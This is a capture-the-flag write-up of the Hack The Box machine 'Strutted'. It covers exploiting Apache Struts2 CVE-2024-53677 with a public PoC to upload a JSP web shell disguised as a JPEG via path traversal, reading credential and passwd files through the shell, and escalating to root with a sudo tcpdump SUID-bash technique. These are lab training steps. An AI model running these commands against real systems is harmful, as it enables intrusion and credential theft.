> For the complete documentation index, see [llms.txt](https://aashraymt.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aashraymt.gitbook.io/docs/writeups/hackthebox-writeups/htb-strutted-writeup-linux-machine.md).

# HTB — Strutted Writeup: Linux Machine

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*bkYuMmMsUD_b1vtvNZ33dw.png" alt="" height="640" width="700"><figcaption></figcaption></figure>

### Port Enumeration with Nmap <a href="#fe2b" id="fe2b"></a>

We start the box with an in-depth port scan using **Nmap**, enabling OS detection and version detection with aggressive scan flags.

`nmap -sV -O -A 10.10.11.59`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*sr8hM4loMFPFGlMYf212yA.png" alt="" height="413" width="700"><figcaption></figcaption></figure>

Output reveals two open ports.

* Port **22** is running OpenSSH (standard for remote login).
* Port **80** is running **nginx 1.18.0**, which hosts the web application.
* The HTTP title reveals a redirect to `http://strutted.htb/`, indicating a virtual host configuration.
* No exact OS match was found, but fingerprinting confirms it’s a Linux-based system.

To proceed with web enumeration, we need to add `strutted.htb` to our `/etc/hosts` file:

`sudo vim /etc/hosts10.10.11.59 strutted.htb`

With this mapping in place, we can now access the hosted web app using the domain in a browser:

[`http://strutted.htb`](http://strutted.htb/)

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*4LQ5F-NnxcLpc7nb1aelnw.png" alt="" height="424" width="700"><figcaption></figcaption></figure>

Upon examining the downloaded ZIP file and inspecting the `pom.xml`, we identify the application is built on **Apache Struts2 version 6.3.0.1**:

`<struts2.version>6.3.0.1</struts2.version>`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*9pWaUV0SVFHLDJAxAYUdXA.png" alt="" height="434" width="700"><figcaption></figcaption></figure>

With this information, we search online for any known vulnerabilities associated with this version and discover **CVE-2024–53677**.

This vulnerability allows for **remote code execution (RCE)** by manipulating the `uploadFileName` parameter during file uploads. The issue arises from insufficient validation, enabling **path traversal** to place malicious files in sensitive directories like the web root.

<https://nvd.nist.gov/vuln/detail/CVE-2024-53677>

### Setting Up the Exploit (CVE-2024–53677) <a href="#id-44b0" id="id-44b0"></a>

After identifying the use of Apache Struts2 v6.3.0.1, we found a public PoC for **CVE-2024–53677** on GitHub:

🔗 [EQSTLab/CVE-2024–53677](https://github.com/EQSTLab/CVE-2024-53677)

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*WLEqFFtZnAxlch8JtgIXHg.png" alt="" height="655" width="700"><figcaption></figcaption></figure>

We cloned the repo and navigated into it:

`git clone https://github.com/EQSTLab/CVE-2024-53677.gitcd CVE-2024-53677`

<figure><img src="https://miro.medium.com/v2/resize:fit:694/1*4AtSqhP_NlwlAoSqpKEV0g.png" alt="" height="270" width="694"><figcaption></figcaption></figure>

The script `CVE-2024-53677.py` lets us exploit the file upload vulnerability by performing path traversal and dropping a malicious file into the web root.

To exploit **CVE-2024–53677**, we create a **JSP web shell** and embed it into a fake image file that bypasses the upload restrictions.

Create the Web Shell: Inside the cloned PoC repo, a `shell.jsp` file is created with the following payload:

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*T_gUhyM5PGBIxBDlHvZCKQ.png" alt="" height="554" width="700"><figcaption></figcaption></figure>

This shell allows remote command execution via a simple `GET` request like:

[`http://strutted.htb/kiber.jsp?action=cmd&cmd=id`](http://strutted.htb/kiber.jsp?action=cmd\&cmd=id)

Embed Shell into a Fake Image: We prepend a JPEG header and append the shell to create a file that appears to be an image:

`printf "\xff\xd8\xff\n" > kiber.jpgcat shell.jsp >> kiber.jpg`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*wJogVnT5VBCheyjQT6HZJA.png" alt="" height="101" width="700"><figcaption></figcaption></figure>

Exploit the Upload Function: Now we run the exploit using the PoC Python script and manipulate the `uploadFileName` parameter to place our payload in the web root:

`python3 CVE-2024-53677.py -u http://strutted.htb/upload.action -p "../../kiber.jsp" -f kiber.jpg`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*H0GA21LAGY4h5LNwDIM2hA.png" alt="" height="201" width="700"><figcaption></figcaption></figure>

### Post-Exploitation: Gaining Shell Access & Enumeration <a href="#c7ed" id="c7ed"></a>

Confirming Web Shell Execution

After uploading our payload (`kiber.jsp`) into the web root, we visited:

[`http://strutted.htb/kiber.jsp`](http://strutted.htb/kiber.jsp)

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*wJHoiYiSbzfyj73t6ZOM0w.png" alt="" height="495" width="700"><figcaption></figcaption></figure>

We initially see

`Unknown action.`

This confirms our shell is accessible but requires the correct `action=cmd` parameter to function.

### Directory & File Enumeration <a href="#id-130a" id="id-130a"></a>

We test the shell by executing:

`http://strutted.htb/kiber.jsp?action=cmd&cmd=ls conf`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*pCdAltKsfGMpSkS9onA4vg.png" alt="" height="333" width="700"><figcaption></figcaption></figure>

This lists config files under the `conf` directory, including:

`catalina.propertiescontext.xmltomcat-users.xml...`

One file of interest is `tomcat-users.xml`, which may contain credentials.

### Credential Discovery <a href="#fc48" id="fc48"></a>

We retrieve the file’s contents:

`http://strutted.htb/kiber.jsp?action=cmd&cmd=cat conf/tomcat-users.xml`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*exToApGC5lnUgcXEUiCjlw.png" alt="" height="395" width="700"><figcaption></figcaption></figure>

And find several Tomcat usernames with default or placeholder passwords like:

`<user username="admin" password="must-be-changed" roles="manager-gui,admin-gui"/>`

### User Enumeration <a href="#f912" id="f912"></a>

To identify local users, we read `/etc/passwd`:

`http://strutted.htb/kiber.jsp?action=cmd&cmd=cat /etc/passwd`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*y4AQmwNbdMScQeeF66xrtQ.png" alt="" height="375" width="700"><figcaption></figcaption></figure>

This reveals valid system users:

`...tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologinjames:x:1000:1000::/home/james:/bin/bash`

The presence of `james` suggests a standard user account and potential target for lateral movement.

### SSH Access & Privilege Escalation <a href="#d6af" id="d6af"></a>

From our earlier enumeration, we discovered valid credentials. Using those, we successfully log in as **james**:

`sshpass -p 'IT1d6GSSP81k' ssh -o StrictHostKeyChecking=no james@strutted.htb`

<figure><img src="https://miro.medium.com/v2/resize:fit:643/1*kS5zaevoEwFMlCCc9vbbPg.png" alt="" height="144" width="643"><figcaption></figcaption></figure>

We’re now on the box as a low-privileged user.

### Privilege Escalation via `tcpdump` <a href="#id-64f4" id="id-64f4"></a>

Listing sudo permissions reveals:

`sudo -l`

We can leverage GTFOBins tcpdump technique to escalate privileges:

#### Step-by-step: <a href="#id-86c9" id="id-86c9"></a>

`COMMAND='cp /bin/bash /home/james/bash; chmod +s /home/james/bash'TF=$(mktemp)echo "$COMMAND" > $TFchmod +x $TFsudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root`

Once executed, run the SUID shell:

`/home/james/bash -p`

And just like that, we’re root:

`id# uid=0(root) gid=0(root) groups=0(root)`

<figure><img src="https://miro.medium.com/v2/resize:fit:668/1*2CvsxSZVepywQ8GDr7uppA.png" alt="" height="354" width="668"><figcaption></figcaption></figure>

### Capture the Flags <a href="#id-8760" id="id-8760"></a>

We now read both flags:

`cat /home/james/user.txtcat /root/root.txt`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:668/1*1xBw37mU_0iMmelLY3_3KQ.png" alt="" height="374" width="668"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:651/1*Cllhz-uADZ9OzB4SnyRNGA.png" alt="" height="653" width="651"><figcaption></figcaption></figure>

**Strutted** was a solid box showcasing a modern Apache Struts RCE (CVE-2024–53677) and a realistic privilege escalation via a misconfigured binary. It tested both web exploitation and post-exploitation enumeration.

Big thanks to the creators and Hack The Box community, and thank you very much for reading!